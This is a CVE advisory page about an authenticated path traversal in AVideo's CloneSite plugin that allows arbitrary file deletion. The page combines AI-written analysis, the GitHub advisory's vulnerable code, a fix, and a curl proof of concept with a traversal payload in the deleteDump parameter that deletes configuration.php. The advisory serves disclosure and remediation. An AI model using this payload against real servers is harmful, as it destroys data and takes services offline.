PHP
CVE-2026-33293
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate with valid clone credentials
-
DeliverySubmit deleteDump parameter with path traversal sequences
-
ExploitBypass path sanitization in cloneServer.json.php
-
ExecutionDelete arbitrary files via unlink() function
-
ImpactDisable application or remove security files
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Attacker requires valid clone credentials to access the CloneSite plugin. Exploits path traversal in deleteDump parameter of plugin/CloneSite/cloneServer.json.php to delete arbitrary files via unlink() without sanitization. Remote authenticated attacker; no victim interaction needed. |
| Impact | This vulnerability presents a high real-world risk with a CVSS score of 8.1 (High severity). The attack vector is network-based with low complexity and requires low privileges (valid clone credentials, not admin), making it relatively easy to exploit. While EPSS and KEV data are not available, the existence of a detailed public proof-of-concept significantly increases exploitation likelihood. The technical impact is severe - complete denial of service through deletion of configuration.php or potential security bypass by removing .htaccess files. This is a genuine high-priority issue, not just a theoretical risk, as any approved clone partner could accidentally or maliciously trigger this vulnerability. |
| Exploit ScenarioDerived | An attacker who has obtained valid clone credentials (through social engineering, insider threat, or compromise of a partner site) sends a crafted HTTP request to cloneServer.json.php with deleteDump=../../videos/configuration.php, instantly deleting the application's main configuration file and crashing the entire AVideo instance. The attack requires only a single HTTP request and leaves the application completely non-functional until manually restored from backup. The public proof-of-concept demonstrates this attack can be executed in seconds with basic curl commands. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAI
Arbitrary file deletion in PHP CloneSite plugin allows authenticated attackers to bypass path validation and remove critical files via path traversal in the deleteDump parameter, causing denial of service or facilitating privilege escalation attacks. An attacker with valid clone credentials can leverage unvalidated input passed directly to unlink() to delete arbitrary files including configuration.php and other security-critical application files. No patch is currently available for this vulnerability.
RemediationAI
Apply the vendor patch that implements basename() sanitization and realpath() validation on the deleteDump parameter to prevent directory traversal. Until patching is possible, disable the CloneSite plugin entirely or restrict access to cloneServer.json.php via web server configuration to trusted IP addresses only. Monitor for any unauthorized file deletions in server logs and review all existing clone partner credentials for potential compromise. Full remediation details are available in the GitHub advisory at https://github.com/WWBN/AVideo/security/advisories/GHSA-xmjm-86qv-g226.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the AVideo media sharing platform (CPE: pkg:composer/wwbn_avideo) specifically in the CloneSite plugin's cloneServer.json.php file. The root cause is CWE-22 (Path Traversal), where the deleteDump parameter is passed directly to PHP's unlink() function without sanitization, allowing directory traversal sequences like ../../ to escape the intended clones/ directory. The plugin is designed to facilitate content synchronization between AVideo instances, but the file deletion functionality meant for cleaning up SQL dumps can be abused to delete any file accessible to the web server process.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Summary
The deleteDump parameter in plugin/CloneSite/cloneServer.json.php is passed directly to unlink() without any path sanitization. An attacker with valid clone credentials can use path traversal sequences (e.g., ../../) to delete arbitrary files on the server, including critical application files such as configuration.php, causing complete denial of service or enabling further attacks by removing security-critical files.
Details
In plugin/CloneSite/cloneServer.json.php, the $clonesDir variable is set to the application's storage path appended with clones/ (line 11). When a deleteDump GET parameter is provided, its value is concatenated directly into a path passed to unlink() with no validation:
// plugin/CloneSite/cloneServer.json.php:10-11
$videosDir = Video::getStoragePath() . "";
$clonesDir = "{$videosDir}clones/";// plugin/CloneSite/cloneServer.json.php:44-46
if (!empty($_GET['deleteDump'])) {
$resp->error = !unlink("{$clonesDir}{$_GET['deleteDump']}");
$resp->msg = "Delete Dump {$_GET['deleteDump']}";
die(json_encode($resp));
}The intended functionality is to delete SQL dump files generated during the clone process (named via uniqid() at line 58). However, because $_GET['deleteDump'] is never passed through basename(), realpath(), or any other path normalization function, an attacker can supply directory traversal sequences to escape the $clonesDir directory.
Given a typical $clonesDir of /var/www/html/videos/clones/, the payload ../../videos/configuration.php resolves to /var/www/html/videos/configuration.php.
The authentication guard thisURLCanCloneMe() at line 38 requires a valid URL and matching key for an admin-approved clone entry (status === 'a'). This is a service-level credential, not an admin session - any approved clone partner possesses these credentials as part of normal operations.
The legitimate clone client at cloneClient.json.php:275 only sends server-generated $json->sqlFile values (produced by uniqid()), but nothing prevents a holder of valid credentials from crafting a manual HTTP request with an arbitrary deleteDump value.
PoC
Prerequisites: A valid clone URL and key pair registered and approved by an admin.
Step 1: Verify the target file exists (e.g., the application configuration file).
curl -s "https://avideo.local/videos/configuration.php" -o /dev/null -w "%{http_code}"
# Expected: 200 (or 302/403 - file exists and is served/protected)Step 2: Send the path traversal payload via the deleteDump parameter.
curl -s "https://avideo.local/plugin/CloneSite/cloneServer.json.php?url=https://approved-clone.local&key=VALID_CLONE_KEY&deleteDump=../../videos/configuration.php"Expected response:
{"error":false,"msg":"Delete Dump ..\/..\/videos\/configuration.php","url":"https:\/\/approved-clone.local","key":"VALID_CLONE_KEY","useRsync":0,"videosDir":"\/var\/www\/html\/videos\/","sqlFile":"","videoFiles":[],"photoFiles":[]}"error":false confirms unlink() returned true - the file was successfully deleted.
Step 3: Confirm deletion.
curl -s "https://avideo.local/videos/configuration.php" -o /dev/null -w "%{http_code}"
# Expected: 404 or 500 - file no longer existsStep 4: At this point the entire AVideo application is broken, as configuration.php contains database credentials and is require_once'd by nearly every endpoint.
Impact
- Arbitrary file deletion: An attacker can delete any file readable by the web server process, including application source code, configuration files, uploaded media, and database dumps containing credentials.
- Complete denial of service: Deleting
configuration.phprenders the entire AVideo installation non-functional. Every page load will fatal-error on the missingrequire_once. - Security control bypass: Deleting
.htaccessfiles or other access-control configurations can expose otherwise-protected directories and files. - Data loss: Uploaded videos, user photos, and SQL backups stored under the videos directory can be permanently destroyed.
- Potential escalation: Deleting specific files (e.g., plugin configurations, auth modules) may weaken the application's security posture and enable further attacks.
Recommended Fix
Apply basename() to the deleteDump parameter to strip any directory traversal components, ensuring the deletion is restricted to files within $clonesDir:
// plugin/CloneSite/cloneServer.json.php:44-48
if (!empty($_GET['deleteDump'])) {
$deleteDump = basename($_GET['deleteDump']);
$filePath = "{$clonesDir}{$deleteDump}";
if (strpos(realpath($filePath), realpath($clonesDir)) !== 0) {
$resp->msg = "Invalid file path";
die(json_encode($resp));
}
$resp->error = !unlink($filePath);
$resp->msg = "Delete Dump {$deleteDump}";
die(json_encode($resp));
}The fix applies defense-in-depth: basename() strips path components, and the realpath() check ensures the resolved path is still within the intended directory even if basename() behavior changes across PHP versions.
Executive ViewAI
A high-severity vulnerability in the CloneSite plugin allows authenticated attackers to delete arbitrary files on the server, including critical application configuration files, resulting in complete service outage or system compromise. This vulnerability directly impacts business continuity and requires immediate remediation as no vendor patch is currently available.
Implement WAF rules to block requests containing path traversal sequences (../, ..\ ) in the deleteDump parameter; restrict access to plugin/CloneSite/cloneServer.json.php via IP allowlisting or authentication token validation; disable the CloneSite plugin if not actively used; deploy file integrity monitoring (FIM) on critical files including configuration.php; implement strict file permissions and read-only mode for configuration files where possible; maintain offline backups of critical configuration files.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Affected Products (CPE)GitHub Advisory
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
GHSA-xmjm-86qv-g226
NVD
CVE.org
EPSS
VulDB
Exploit-DB